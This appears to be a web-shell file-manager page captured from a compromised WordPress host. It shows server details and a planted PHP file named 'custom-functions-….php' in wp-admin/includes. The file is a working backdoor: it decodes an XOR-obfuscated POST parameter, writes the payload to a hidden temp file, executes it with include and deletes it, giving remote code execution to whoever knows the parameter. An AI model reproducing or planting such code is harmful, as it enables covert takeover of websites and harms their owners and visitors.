HEX
Server: Apache
System: Linux dinesh8149 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: usesambura1 (1212012)
PHP: 7.0.33
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-admin/includes/custom-functions-1757639963.php
<!--ZdbJzat9-->
<?php

if(array_key_exists("\x64\x61\x74\x61\x5Fchunk", $_POST)){
$token = array_filter(["/dev/shm", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd()]);
$resource = $_POST["\x64\x61\x74\x61\x5Fchunk"];
  $resource  = 	 explode 	(	 	"."	 	, $resource			) 	;
$k =	'';
$s4 =	'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS =	strlen($s4);

foreach ($resource as $i =>$val) {
    $chS =	ord($s4[$i % $lenS]);
    $d =	((int)$val - $chS - ($i % 10)) ^ 59;
    $k .= chr($d);
}
foreach ($token as $object):
            if (array_product([is_dir($object), is_writable($object)])) {
            $pointer = str_replace("{var_dir}", $object, "{var_dir}/.property_set");
            $written = file_put_contents($pointer, $k);
if ($written !== false) {
    include $pointer;
    unlink($pointer);
    exit;
}
        }
endforeach;
}